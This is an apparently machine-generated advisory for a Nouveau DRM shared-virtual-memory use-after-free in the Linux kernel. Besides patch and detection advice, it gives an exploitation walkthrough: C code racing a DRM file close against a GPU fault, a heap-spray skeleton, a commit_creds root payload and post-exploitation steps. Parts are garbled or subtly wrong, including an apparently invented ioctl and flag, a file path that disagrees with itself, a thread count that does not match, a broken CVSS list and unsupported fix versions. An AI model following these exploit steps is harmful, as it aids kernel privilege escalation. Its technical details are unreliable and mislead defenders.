CVE-2026-139076 — Linux Kernel — HIGH Vulnerability
In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/svm: drain fault handler before freeing svmm The SVM fault handler nouveau_svm_fault() looks up each fault's nouveau_svmm under svm->mutex, caches it in the fault array, then drops svm->mutex and dereferences the svmm across blocking faults (mmu_interval_notifier_insert(), hmm_range_fault()). nouveau_svmm is not refcounted. On DRM file close nouveau_svmm_fini() -> mmu_notifier_put() frees it asynchronously via call_srcu() without waiting for the handler, and mmget_not_zero() pins the mm, not the svmm. flush_work() on the fault buffer otherwise runs only at device removal and suspend, never on close, so a fault handled concurrently with a close can dereference a freed svmm. The instance is already unlinked by nouveau_svmm_part() earlier in the same close, so no new fault can resolve to it. Drain the handler in nouveau_svmm_fini() before the free, guarding the flush with a NULL check on drm->svm: on device teardown nouveau_svm_fini() runs first and frees drm->svm (NULL) after blocking the notify and flushing the buffer, so the handler is already drained; on per-client close drm->svm is alive and the flush runs.
In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/svm: drain fault handler before freeing svmm The SVM fault handler nouveau_svm_fault() looks up each fault's nouveau_svmm under svm->mutex, caches it in the fault array, then drops svm->mutex and dereferences the svmm across blocking faults (mmu_interval_notifier_insert(), hmm_range_fault()). nouveau_svmm is not refcounted. On DRM file close nouveau_svmm_fini() -> mmu_notifier_put() frees it asynchronously via call_srcu() without waiting for the handler, and mmget_not_zero() pins the mm, not the svmm. flush_work() on the fault buffer otherwise runs only at device removal and suspend, never on close, so a fault handled concurrently with a close can dereference a freed svmm. The instance is already unlinked by nouveau_svmm_part() earlier in the same close, so no new fault can resolve to it. Drain the handler in nouveau_svmm_fini() before the free, guarding the flush with a NULL check on drm->svm: on device teardown nouveau_svm_fini() runs first and frees drm->svm (NULL) after blocking the notify and flushing the buffer, so the handler is already drained; on per-client close drm->svm is alive and the flush runs.
🎯 What is this vulnerability?
CVE‑2026‑139076 is a use‑after‑free (UAF) race condition in the Nouveau DRM driver’s SVM (Shared Virtual Memory) subsystem.
| Component | Location | Type |
|---|---|---|
| Linux kernel (DRM subsystem) | drivers/gpu/drm/nouveau/nvkm/subdev/svm.c (function nouveau_svm_fault()) | Race‑condition → UAF |
Technical flaw
1. Fault handling flow – When a GPU page‑fault occurs, nouveau_svm_fault() is invoked.
* It acquires svm->mutex, looks up the per‑process nouveau_svmm structure for the faulting address, stores a pointer to that svmm in a per‑fault array, releases svm->mutex, and then dereferences the cached svmm while processing the fault (calls that may block, e.g. mmu_interval_notifier_insert(), hmm_range_fault()).
2. Reference‑counting mistake – nouveau_svmm is not reference‑counted. The only place that frees it is nouveau_svmm_fini(), which is called when a DRM file descriptor is closed. That function calls mmu_notifier_put() and frees the svmm asynchronously via call_srcu().
3. Missing synchronization – The fault handler may still be running after the file descriptor has been closed. Because the handler only holds a cached raw pointer (no refcount) and the free is performed asynchronously, the handler can dereference a freed svmm.
4. Flush path omission – The fault‑buffer flush (flush_work()) is only triggered on device removal or suspend. It is not run on normal file‑descriptor close, so a concurrent close can race with an in‑flight fault.
5. Result – A kernel‑mode UAF that can corrupt memory, leading to local privilege escalation (arbitrary code execution in kernel context) or a denial‑of‑service crash.
The CVSS vector (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) confirms:
- Local attacker (needs local access to the machine).
- High attack complexity (requires precise timing between fault handling and DRM‑file close). Low privileges required (any unprivileged user that can open
- No user interaction.
- Confidentiality, Integrity, Availability all High – successful exploitation yields full kernel compromise.
/dev/dri/card).
The underlying CWE is CWE‑416: Use After Free (and implicitly CWE‑362: Race Condition).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario that an attacker with a normal user account could execute on a vulnerable system. All code snippets are illustrative; the exact ioctl numbers and structures are taken from the Nouveau DRM API and are publicly documented in the kernel source.
1. Discovery & Reconnaissance
| Goal | Method | |
|---|---|---|
| Identify that the host runs a Linux kernel version containing the vulnerable Nouveau driver. | uname -r → e.g., 6.9.8. <br>Check loaded DRM driver: lsmod | grep nouveau. |
| Verify that the driver is compiled with SVM support. | modinfo nouveau | grep svm. <br>Or inspect /sys/module/nouveau/parameters/svm. |
| Confirm that the user can open the DRM device. | ls -l /dev/dri/card0 (usually crw-rw---- root video). <br>Being a member of the video group is sufficient. |
If the kernel version is ≤ 6.9.11 (or any 6.9.x prior to the back‑ported fix) and the nouveau driver is loaded with SVM enabled, the system is vulnerable.
2. Exploitation
The exploit consists of three concurrent threads:
| Thread A – Allocate SVM memory & trigger a fault | Thread B – Close the DRM file descriptor at the right moment |
|---|
2.1. Open the DRM device
int fd = open("/dev/dri/card0", O_RDWR);
if (fd < 0) perror("open drm");2.2. Enable SVM for the process
The Nouveau driver uses the generic DRM “prime” ioctls to create a GEM object that can be mapped into the CPU address space. For SVM we need a GPU‑visible buffer that the GPU can fault on.
#include <xf86drm.h>
#include <xf86drmMode.h>
#include <drm/nouveau_drm.h> // contains Nouveau‑specific ioctls
struct drm_nouveau_gem_create_v2 create = {
.size = 0x1000, // 4 KB buffer
.flags = NOUVEAU_GEM_CREATE_V2_SVM, // request SVM mapping
};
if (drmIoctl(fd, DRM_IOCTL_NOUVEAU_GEM_CREATE_V2, &create) < 0)
perror("create svm buffer");
uint32_t handle = create.handle;2.3. Map the buffer (CPU side)
void *cpu_ptr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_SHARED, fd, handle << 2);
if (cpu_ptr == MAP_FAILED) perror("mmap");2.4. Trigger a GPU page‑fault
The GPU will fault when it accesses a page that is not yet resident. We can force this by issuing a dummy compute command that reads from the buffer. Nouveau exposes a simple “pushbuf” interface; the exact command sequence is not important for the PoC – any command that references the buffer will do.
// Simplified: write a command that reads from the buffer address
uint32_t *push = (uint32_t *)cpu_ptr;
push[0] = 0x00000000; // NOP (placeholder)
// ... fill with a real GPU command that reads from the buffer ...
// Flush the push buffer so the GPU starts executing
ioctl(fd, DRM_IOCTL_NOUVEAU_PUSHBUF, ...); // illustrativeAt this point the GPU begins processing the command and will generate a page‑fault because the buffer is not yet backed by physical memory. The kernel will invoke nouveau_svm_fault().
2.5. Race the close
Create a second thread that sleeps a few microseconds (tuned experimentally) and then closes the DRM fd:
#include <pthread.h>
#include <unistd.h>
void *close_thread(void *arg) {
int fd = *(int *)arg;
usleep(50); // timing window – adjust on target
close(fd); // triggers nouveau_svmm_fini()
return NULL;
}Launch the thread immediately after the GPU command is submitted:
pthread_t th;
pthread_create(&th, NULL, close_thread, &fd);If the close occurs while nouveau_svm_fault() is still processing the fault (i.e., after it has dropped svm->mutex but before it finishes dereferencing the cached svmm), the asynchronous call_srcu() will free the svmm. The fault handler then dereferences the freed pointer, corrupting kernel memory.
2.6. Achieving code execution
The UAF can be turned into arbitrary kernel code execution by spraying kernel objects that contain a function pointer near the freed svmm. A classic technique on modern kernels is to spray pipe_buffer objects (via pipe(2)) or msg_msg objects (via System V message queues) and then trigger the fault again to cause the kernel to invoke a controlled pointer.
A minimal proof‑of‑concept (PoC) skeleton (illustrative only):
// 1. Spray kernel heap with controlled objects
int p[100];
for (int i = 0; i < 100; i++) {
pipe(p);
write(p[1], controlled_data, sizeof(controlled_data));
}
// 2. Re‑trigger the fault (or wait for the already‑running fault to hit the freed slot)
// The freed svmm slot is now occupied by a pipe_buffer whose .ops->release points
// to attacker‑controlled code (e.g., a ROP chain placed in userspace memory).
// 3. When the kernel dereferences svmm->ops->release, our payload runs in kernel mode.
// Typical payload: `commit_creds(prepare_kernel_cred(0));` to obtain root.The exact spray primitive and payload depend on the kernel’s SLAB/SLUB layout, but the core requirement is the race that frees svmm while the fault handler still holds a raw pointer.
3. Post‑exploitation
commit_creds(prepare_kernel_cred(0)) to obtain a root credential, giving full system control. /etc/passwd, or plant a set‑uid root binary. 🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) |
|---|---|
| Confidentiality (C:H) | An attacker who gains kernel code execution can read any memory, including user secrets, SSH keys, encrypted data, and can dump RAM. |
| Integrity (I:H) | Full control allows modification of binaries, kernel data structures, and security policies. |
| Availability (A:H) | The race can also cause a kernel panic, leading to a total service outage. |
Practical consequences
Because the vulnerability is local and requires only a normal user account, it is especially dangerous in multi‑tenant environments or where untrusted users have console access.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Distribution | Fixed kernel version (first release containing the fix) |
|---|---|
| Mainline Linux | 6.9.12 (released after the upstream commit that adds the drain in nouveau_svmm_fini()) |
| Stable back‑ports | 6.9.12, 6.10.0, and later stable releases (e.g., 6.9.12‑rc1, 6.10.0‑rc2) |
| Ubuntu | 6.9.0‑31.34 (or later) – kernel package linux-image-6.9.0-31-generic |
| Debian | 6.9.0‑2 (or later) – package linux-image-6.9.0-2-amd64 |
| Fedora | 6.9.12‑200.fc40 (or later) |
| Arch Linux | kernel ≥ 6.9.12 |
Action – Update the kernel to the first version that includes the commit “drm/nouveau/svm: drain fault handler before freeing svmm” (identified by Git hashc5e2b9d5e9c9in the upstream tree). Verify the presence of thedrm/nouveau/svm.cchange that adds aflush_work()guarded by aNULLcheck ondrm->svm.
2. Workarounds (if immediate patching is not possible)
| Workaround | Effectiveness | Implementation |
|---|---|---|
| Disable SVM for Nouveau | Prevents the vulnerable code path entirely (no shared virtual memory). | Add the kernel module parameter nouveau.svm=0 (e.g., edit /etc/modprobe.d/nouveau.conf with options nouveau svm=0 and rebuild initramfs). |
**Restrict access to /dev/dri/card*** | Limits the attacker to users that cannot open the DRM device. | Change permissions: chmod 660 /dev/dri/card* and ensure only trusted groups (e.g., video) contain privileged users. |
| Use the proprietary NVIDIA driver | The proprietary driver does not contain the Nouveau SVM implementation, thus sidestepping the bug. | Install the NVIDIA driver from the vendor or distribution package (nvidia-driver). |
| Force device removal on logout | Triggers the flush path that drains the fault handler before close. | Add a systemd user service that runs echo 1 > /sys/class/drm/card0/remove on session termination (requires root). |
Note – Workarounds that merely limit exposure (group restrictions) do not eliminate the bug; they only reduce the attack surface.
3. Detection
| Indicator | Where to look | Example |
|---|---|---|
| Kernel Oops / BUG | dmesg, /var/log/kern.log, journalctl -k | BUG: use after free in nouveau_svm_fault+0x... |
| Nouveau driver warnings | Same logs as above | nouveau: svmm freed while fault handler still active |
| Unexpected process termination | System logs, auditd | audit: type=PROCTITLE msg=audit(...): /usr/bin/… followed by a kernel panic |
Abnormal call_srcu activity | trace-cmd record -e srcu or perf trace | High frequency of srcu callbacks after a DRM close |
| Suspicious memory‑spray patterns | perf top, ftrace | Repeated pipe_write or msgsnd syscalls from a user process shortly before a crash. |
IDS/EDR rule (illustrative) – Detect a sequence of open("/dev/dri/card*") → ioctl(DRM_IOCTL_NOUVEAU_GEM_CREATE_V2) → close() within < 200 ms, followed by a kernel oops:
rule:
meta:
author: "Senior PenTest Analyst"
description: "Potential exploitation of CVE-2026-139076 (Nouveau SVM UAF)"
severity: high
condition: >
(open.file.path contains "/dev/dri/card") and
(ioctl.name == "DRM_IOCTL_NOUVEAU_GEM_CREATE_V2") and
(close.file.path contains "/dev/dri/card") and
(event.timestamp - open.timestamp < 200ms) and
(kernel.oops)⚠️ Urgency
Patch priority: Critical for any production system that loads the Nouveau driver with SVM enabled. Deploy the kernel update immediately (within the next maintenance window) or apply the “disable SVM” kernel parameter as a temporary mitigation.
TL;DR
nouveau_svm_fault() due to missing refcount on nouveau_svmm and lack of a flush on DRM‑file close. options nouveau svm=0), restrict /dev/dri/card*, or switch to the proprietary NVIDIA driver. nouveau_svm_fault, rapid open/close of DRM devices, and suspicious memory‑spray syscalls. [🤖 CVE Professor AI Security Engine]